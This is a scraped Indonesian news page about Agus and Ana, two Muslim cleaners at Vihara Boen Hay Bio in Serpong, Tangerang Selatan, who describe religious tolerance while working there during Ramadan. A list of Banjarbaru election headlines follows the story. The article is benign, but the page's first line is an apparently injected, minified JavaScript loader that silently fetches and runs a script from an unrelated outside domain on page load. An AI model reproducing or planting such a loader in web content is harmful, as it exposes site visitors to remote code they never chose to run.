(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

Cerita Pegawai Muslim Kerja di Vihara Boen Hay Bio: Lakum Dinukum Waliyadin


KANALKALIMANTAN.COM – Bau asap dupa dan lilin yang terbakar di Vihara Boen Hay Bio menyesakkan hidung. Bagi yang tak biasa, akan tak betah berlama-lama berada di vihara.

Hal itu tak berlaku bagi Agus. Dia sudah kebal dengan bau asap bakaran dupa dan lilin merah besar itu. Yang paling menarik, Agus merupakan salah satu pegawai muslim di Vihara tertua di Kota Tangerang Selatan (Tangsel).

Agus merupakan satu dari dua pekerja muslim di Vihara Boen Hay Bio Serpong Tangsel. Tempat itu pun merupakan vihara sekaligus klenteng. Vihara terletak di lantai 2 dan klenteng di lantai satu.

 

Vihara Boen Hay Bio di Serpong, Kota Tangerang Selatan (Tangsel). Rumah ibadah umat Konghucu ini merupakan vihara tertua di Tangsel. Foto: SuaraJakarta.id/Wivy Hikmatullah

 

Baca juga: Sikapi Banyaknya Aduan Masyarakat, Wali Kota Aditya Sidak RSD Idaman Tengah Malam

Agus sudah tujuh tahun bekerja sebagai petugas kebersihan di sana. Semula, tak mudah bagi Agus untuk terbiasa dengan suasana vihara.

Tetapi, karena kebutuhan ekonomi, mau tidak mau ia harus terbiasa dengan pekerjaanya di tempat ibadah warga Konghucu itu.

Selama bekerja, Agus tak mendapat tekanan apapun soal agama. Pengurus vihara pun tak membatasi Agus untuk sholat. Terlebih, saat ini sedang puasa Ramadhan.

Agus, pegawai muslim yang bekerja di Vihara Boen Hay Bio di Serpong, Kota Tangerang Selatan (Tangsel), tengah berbuka puasa. Rumah ibadah umat Konghucu ini merupakan vihara tertua di Tangsel. Foto: SuaraJakarta.id/Wivy Hikmatullah

Menurutnya, tempatnya bekerja itu tak memengaruhi pada pelaksanaan puasa. Lantaran puasa menurutnya, tergantung pada niat hati masing-masing.

Agus menuturkan, di vihara ada banyak patung dewa yang kadang dia bersihkan. Patung-patung tersebut yang biasa disembah oleh umat Konghucu dan Budha saat berkunjung ke vihara.

Selama tujuh tahun bekerja di Vihara Boen Hay Bio Serpong Tangsel, dia merasa hal itu tak memengaruhi keyakinannya sebagai muslim.

Baca juga: Festival Salikur Banjarbaru 2021 Resmi Dimulai, 55 RT Ikut Ramaikan

Agus meneguhkan keyakinan dirinya dengan potongan Surat Al Kafirun yang berbunyi “Lakum Dinukum Waliyadin”. Yang berarti “bagimu agamamu dan bagiku agamaku”.

Menurutnya, yang jadi persoalan sebetulnya bukan pada agamanya. Tetapi pada diri manusianya sendiri.

“Saya cuma kerja aja, nggak ada pengaruh apa-apa. Orang sembahyang-sembahyang aja. Semua agama bagus, nggak ada yang jelek. Mau Kristen, Budha dan Islam. Semua bagus. Di manapun tempat ibadah nggak perlu khawatir, yang jelek itu manusianya, bukan agamanya,” tutur Agus.

Selama tujuh tahun bekerja di Viharan Boen Hay Bio itu, Agus tak pernah mendapat masalah soal agama. Baik dari pengurus dan umat yang datang beribadah pun saling menghargai.

Vihara Boen Hay Bio di Serpong, Kota Tangerang Selatan (Tangsel). Rumah ibadah umat Konghucu ini merupakan vihara tertua di Tangsel. Foto: SuaraJakarta.id/Wivy Hikmatullah

Bahkan saat menjelang perayaan Idul Fitri, Agus selalu mendapat tunjangan hari raya (THR) dari umat yang dia kenali.

“Biasanya kalau Lebaran ada aja yang ngasih THR. Tapi emang lebih banyak pas perayaan Imlek. Kalau itu tergantung kitanya, kalau bergaul baik banyak kenal sama yang ibadah di sini ya makin banyak yang ngasih. Meskipun tidak semua,” papar Agus.

Saat Ramadhan ini, jam kerjanya pun tak berubah dari pagi sekira pukul 08.00 sampai dengan pukul 17.00 WIB.

Saat SuaraJakarta.id berkunjung ke Vihara Boen Hai Bio, pengurus vihara memfasilitasi tempat dan camilan berbuka puasa. Bahkan, ditawari untuk masak makanan sebagai menu tambahan usai makan takjil.

Pekerja muslim lainnya bernama Ana. Wanita berusia 44 tahun itu sudah bekerja menjadi petugas kebersihan selama 4 tahun. Dirinya, merupakan seorang mualaf.

Selama 4 tahun bekerja, Ana juga tak merasa mendapat larangan apapun untuk shalat.

“Nggak ada larangan. Shalat ada ruangan khusus di atas. Biasa aja sih yang penting niatnya,” ungkapnya.

Perbedaan agama, tak menjadi soal bagi kedua pekerja muslim di Vihara Boen Hay Bio Serpong itu.

Keduanya justru merasa mendapat keluarga baru, di lingkungan tempat ibadah agama lain. Rasa toleransi membuat keduanya betah bekerja di Vihara Boen Hay Bio Serpong Tangsel. (suara.com/wivy hikmatullah)

Editor : kk


Al Ghifari

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

1 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

2 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

2 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

7 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

7 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

8 jam ago

This website uses cookies.